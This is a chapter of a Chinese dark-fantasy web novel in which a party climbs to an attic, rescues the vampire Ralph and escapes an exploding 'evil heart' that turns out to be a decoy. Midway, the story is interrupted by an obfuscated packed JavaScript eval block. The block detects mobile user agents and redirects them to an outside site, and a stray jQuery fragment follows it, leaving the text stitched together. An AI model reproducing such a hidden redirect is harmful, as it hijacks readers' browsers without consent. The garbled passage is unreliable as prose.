众人上楼的间隙，艾拉一阵忐忑后问：“这种净化之力会影响拉尔夫吗？”


    亚当神父摇头给出了答案，“不会的艾拉，血族是被诅咒的血脉，只要没有吸食人血，是不会被净化之力所影响的，这是正神们的宽容。”


    可问题是，她不是正神！


    艾拉想了想，看向了老约翰，“约翰先生，我向您保证，那位存在没有伤害拉尔夫的意思，但我不确定他究竟有没有事。”


    “我的主神啊，你大可不必担心我的态度，如果他不小心被净化了也是活该。”老约翰像个没事人一样，仿佛对话里讨论的并不是他的孙子。


    “谁让这个臭小子总是忘了救他亲爱的爷爷，这是惩罚！”


    老约翰的态度让众人脚步一顿，神情各异。


    艾拉也被震惊到了。


    一开始觉得老约翰只是放心拉尔夫，这是安慰的话，随即又觉得这句话未必是假的……毕竟老约翰的做派样样与常人不同，比如渡灵人这份职业。


    好吧，无论如何不是担心这些的时候。


    因为净化之力的影响，那些随处可见的茧已经被净化，整栋房子看起来已经和正常房子没任何区别，如果不用另一个位格视角看的话。


    二楼的走廊一片寂静，唯有邪恶心脏的搏动声越来越强烈，如同某种亵渎的歌声，敲击在每个人的灵魂深处。


    越往上走，空气愈发粘稠凝滞，使人头晕目眩难以呼吸，呓语带来一阵生理性的恶心。墙壁上原本暗淡的污渍如同缓慢蠕动的阴影，窥视着这群不速之客，无处不在侵蚀理智的异常氛围，让往前的每一步都变得艰难。


    亚当神父依然走在最前面，口中低声祈祷，艰难地对抗着侵蚀。


    伊丽莎白没再走到最后，都怕她再有什么闪失，老约翰甚至都在心里想她提出的计划性……至少他们得围绕这位公主整出来一个保护计划，当然是后话了。


    二楼的各处并没有拉尔夫的身影，甚至连活死人玛莎都不见了踪影，只有地板上残留着一道黏腻、指向阁楼的拖痕，散发出难以形容的腐臭。


    众人默契地在阁楼前停下了脚步。


    “拉尔夫，你又去哪儿了？”老约翰试探地大声询问，可惜并没人回答，只有心脏的搏动声仿佛在嘲笑他的呼唤。


    艾拉眉头紧锁，更害怕拉尔夫被净化之力影响了。


    奥菲莉亚看得出她的心思，于是开口询问：“约翰先生、亚当神父，我之前在学习的时候没看到关于活死人相关的记载，活死人是被邪恶操控的躯体吗？如果是这样的话，血族对付起来不是太吃力？”


    亚当神父面色凝重，“与你们在纺织厂遇到的工人无异，本质上都是受到邪恶趋势，无论活人还是死人，他们都更像是被邪恶存在支配的‘军队’。在诸神之战时，那时的人们遇到过类似的麻烦，但那是传说了。”


    “具体的，或许我们得翻阅一下存放在圣大教堂的书籍。”


    军队？


    只不过玛莎的灵魂是被净化过的，所以邪恶存在驱使的只是个躯壳？


    艾拉心中乱成一团，“那墓地里的尸体会不会……”


    “很可能都变成了这副鬼样子。”老约翰接话道，“不过拉尔夫那小子要是连活死人都打不过，真是有损血族的颜面！”


    艾拉第一次觉得心里很不好受，她还是担心拉尔夫被净化之力影响了，毕竟她对灵魂知者的能力还在探索中。


    无论怎样那都是一条人命，而且拉尔夫是这个临时小队中的可靠战力，还是老约翰的孙子……


    奥菲莉亚见到她快哭了的模样，安抚地拍了拍她的手，轻声安慰。


    “艾拉，如果那位存在对拉尔夫没有敌意，我相信是不会误伤他的，你不要太自责，如果不是你帮忙，或许我们都会因此丧命。”这是句实话，亡灵猎杀的诅咒是针对所有人的，而且碰到即死。


    艾拉点点头，随后深吸了口气，看向了那扇仿佛通往深渊巨口的阁楼木门。


    “所以我们必须得进去了，那颗心脏要怎么处理？”


    伊丽莎白挑挑眉，总觉得这话有点询问计划的意思。


    “我尝试攻击，你与奥菲莉亚可以再次建立链接，使用净化之力。约翰先生和亚当神父负责守护我们，如果拉尔夫在里面，他可以和我一起负责攻击。”


    一段话将几人的分工明确了，并且十分有条理，看样子这位公主已经从傲慢惊慌的情绪中走出来了。


    老约翰这次没反驳她。


    众人重振旗鼓后，亚当神父猛地推开了那扇半掩的房门。


    阁楼里，那颗邪恶心脏已经膨胀到难以置信的地步，几乎塞满了整个阁楼空间，搏动的肉质表面布满粗大的血管，如同某种巨型异怪的巢穴。


    地板墙壁以及天花板完全被同化，覆盖着一层厚厚的血管肉质膜，整个空间已经成了心脏本身的一部分，随着它的跳动而轻微收缩舒张，散发出浓郁令人作呕的生命气息，这是一种完全扭曲亵渎的生命力。


    亚当神父和老约翰走在最前面，被眼前的地狱景象惊呆了，邪恶心脏似乎察觉到了他们的入侵，搏动的力量骤然加强，如同闪电雷鸣，震得人耳膜生疼，精神压迫感几乎化为实质。


    艾拉从两人之间的缝隙钻出脑袋，不禁惊呼出声。


    拉尔夫整个人瘫倒在阁楼的地上，身上沾满了暗红粘稠的液体，俊美的他显得十分狼狈，脸色愈发惨白，嘴角胸前有一滩显然是他吐出来的，颜色发暗的血液。


    而那颗邪恶心脏的正前方，活死人玛莎的躯干正被几条粗大的血管缠绕着，缓缓拉向心脏主体。


    玛莎的腹部已被撕开，内脏模糊，一颗眼球脱离了眼眶，挂在脸颊上还在诡异地转动，她似乎毫无痛苦，甚至脸上残留着一丝诡异的平静，仿佛回归母体般顺从着被吞噬的命运。


    她早已失去了灵魂，并非她自己了，被所谓的邪恶完全控制。


    艾拉瞬间想起了从茧里出来的伪人，在邪恶心脏的血管受到攻击后，伪人毫不犹豫地回到了心脏作为修补养分。


    这一刻，众人都明白了那些扎根血管输送的为何物了。


    是瓦肯堡的人。


    无论活人还是死人，只要被邪恶完全侵蚀，最终都会被输送到这颗心脏内变成养分，所以邪恶心脏的躯体无限膨大了。


    亚当神父俯身，试图将拉尔夫从地板上拉起来，艾拉连忙过去帮忙。


    不管怎样，只要没有因为她出事就行。


    一靠近拉尔夫，那股粘液里散发出的鲜血腐臭甚至生肉的气息，直冲人的大脑，下意识产生了生理性排斥，使两人胃里一阵翻江倒海。


    老约翰也嗅到了那股味道，眉头紧锁，“臭小子，我们喊你也不知道答应，还以为你死了。”


    拉尔夫艰难地咳嗽了几声，在两人的帮助下站立起来，虽然身形有些晃，但很快他就恢复了，示意他们不必再搀扶。


    “我是从那颗心脏里面出来的。”


    ？？？


    所以他刚刚是被吃进去了？


    “我的主神啊，怪不得你真够臭的，快解释一下你都干了什么？”老约翰略带嫌弃地看着自己孙子，眼睛深处藏着一丝不易察觉的担忧。


    拉尔夫走出阁楼，很有礼节的刻意和众人保持了举例，似乎怕身上的污秽沾染他们。


    “是活死人主动到这里现身的，我为了阻止她，或者说想找到核心，选择咬破了这颗心脏外壁的主要血怪，试图吸食其中的血液来削弱它，但我被里面蕴含的疯狂意志反噬了。不过这颗心脏似乎没什么主动攻击的能力，所以我才能挣扎着逃出来。”


    艾拉站在阁楼门口，听到这番话不禁回头看了眼搏动的心脏，觉得一切诡异极了。


    如果这就是瓦肯堡霍乱的核心，邪恶心脏用活人与死人的躯体滋养自身，甚至是那些虫子动物，可这颗心脏最终还是会把这些东西“生出来”，就像那些茧，这颗心脏更像是个永动机。


    为什么那个位格的邪恶存在要这样做？仅仅是为了扩散混乱，还是如同亚当神父所说，培养属于自己的军队？


    而且这些血管究竟延伸到什么地方，又是怎么找到抓取养分的？


    这颗心脏没有强烈的反抗能力，哪怕愈来愈多的亡灵聚集在这里，但防御力仍然薄弱，以至于他们抵达了核心。


    过程虽然惊险，但似乎过于顺利了……


    她在动用灵魂知者的能力时，必然被邪恶存在感知了，不会不清楚她有这份能力净化亡灵。


    能制造如此灾难、甚至屏蔽正神光辉的邪恶存在，位格难以想象，为什么轻易地将这颗看似核心的心脏露出来？


    这就像是一个陷阱，或者是一个诱饵。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482389|183878||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奥菲莉亚同样迟疑，“我们还要破坏这颗心脏吗？”


    眼前的景象让她本能地感到不安。


    邪恶心脏仍然吞噬着玛莎残余的身躯，墙壁上的血管肉眼可见地流速加快了，仅仅说话的功夫，那颗心脏的搏动声便愈演愈烈，甚至愈来愈快，达到了一个疯狂的频率，整个阁楼都在随之震颤。


    艾拉感受到了莫名的危险，灵魂的印记越来越烫，仿佛在发出尖锐的警告，她下意识地往后退了几步。


    “我觉得，我们或许得离开这儿……”


    伊丽莎白有些不赞同这个提议，“我们的目标难道不是摧毁它吗？或者说，瓦肯堡危机的问题根源如果不是它，那么会在哪里？”


    她很希望这些人能提供一些可以思考的依据，如果离开了这里，他们只能像没头苍蝇一样到处调查，明明这颗心脏的存在完全不能忽视。


    艾拉说不上来，但她能感受到这颗心脏内部正在发生剧烈的、不稳定的变化。


    在那些呓语和心跳的杂音中，她竟然能分辨出血管内液体流速加剧的嘶嘶声，一种积蓄到极致的前兆。


    “拉尔夫，它是怎么把你吃下去的？过程是怎样的？”这才是关键问题，既然没有主动攻击能力是怎么做到的？


    老约翰猛地拍了下脑门，“上次我和你祖父以及芬恩来到这里的时候，是这颗心脏突然裂开，喷出那些粘液和丝线将我们裹住了，它更像是一种被动的防御或者说捕获机制。如果不是那位存在的影响救了我们……”


    “我是因为吸食了血液，那股疯狂的意志冲击我的精神，导致了短暂的昏厥，然后被蠕动的组织吞没了。”拉尔夫补充解释。


    “我的主神啊，你可真是个大馋虫，什么都敢尝。”老约翰仍然没忘记吐槽，但语气已经变得极为严肃。


    伊丽莎白的脸色并不好看，她持着自己的权杖，似乎想上前尝试攻击，她不太能接受无功而返。


    没等艾拉阻止，转变再次发生了！


    那颗心脏似乎感知到了某种指令，或者说达到了临界点，疯狂的心跳声骤然停止了一瞬，这是一种比持续巨响更令人恐惧的寂静。


    紧接着轰地一下，邪恶心脏毫无征兆地猛然爆裂开来！


    无法形容的巨响，仿佛整个世界都被撕毁，巨大的心脏如果一颗腐烂果实瞬间炸开，暗红漆黑粘黄的各种误会液体、破碎的肉质组织，以及断裂的血管如同暴雨般喷射四溅，强大的冲击力混合着难以言喻的恶臭猛地向外扩散。


    整个阁楼，乃至整栋房子都在剧烈摇晃，最终墙壁崩裂，木质结构发出不堪重负的呻吟。


    “小心！”老约翰只来得及大吼一声，将离他最近的伊丽莎白和奥菲莉亚死死地护在身下，他们的位置在一个夹角，神职衣袍为他们抵御了最后的冲击。


    艾拉根本来不及反应，眼睁睁看着毁灭性的污秽扑面而来，就在她被恐怖血浪淹没的霎时，一只冰冷有力的手猛地拽住了她的胳膊，将她庇护在怀里。


    是拉尔夫！


    他在最后关头爆发出血族应有的速度，用蝙蝠翅膀勉强地护住了两个人。


    最后一阵冲击到来时，河湾台地56号四分五裂，断壁残垣混合着腥臭的粘液被冲击得到处都是。


    老约翰啐出一口带血的唾沫，“我的主神啊，我肯定有点脑震荡了……”


    他怀里的伊丽莎白和奥菲莉亚虽然惊魂未定，但似乎没有大碍。


    艾拉在拉尔夫的庇护下，仍然被震得头晕眼花，耳鸣不止。她的视线透过翅膀的缝隙，看到了令人心悸的一幕。


    那些原本连接着心脏，遍布墙壁地面的粗大血管，在心脏炸裂的那一刻，如同受惊的毒蛇迅速收缩，诡异地渗入地下，眨眼间消失的无影无踪，仿佛从未出现过。


    她灵魂上的印记烫得厉害，她能感受到那股一直笼罩于此冰冷邪恶的窥视感，正如潮水般迅速褪去，向着城市更深的某个地方汇聚远去。


    一个念头忽然浮现在她的脑海。


    他们被耍了。


    这颗心脏完全就是幌子，一个用来吸引人的诱饵，真正的核心根本不在这里，爆炸或许本身就是邪恶计划的一部分，是为了切断线索，或者完成某种更深层次的转化？


    瓦肯堡四处的厮杀呐喊声越来越近，而答案，究竟隐藏在瓦肯堡浓雾的何处？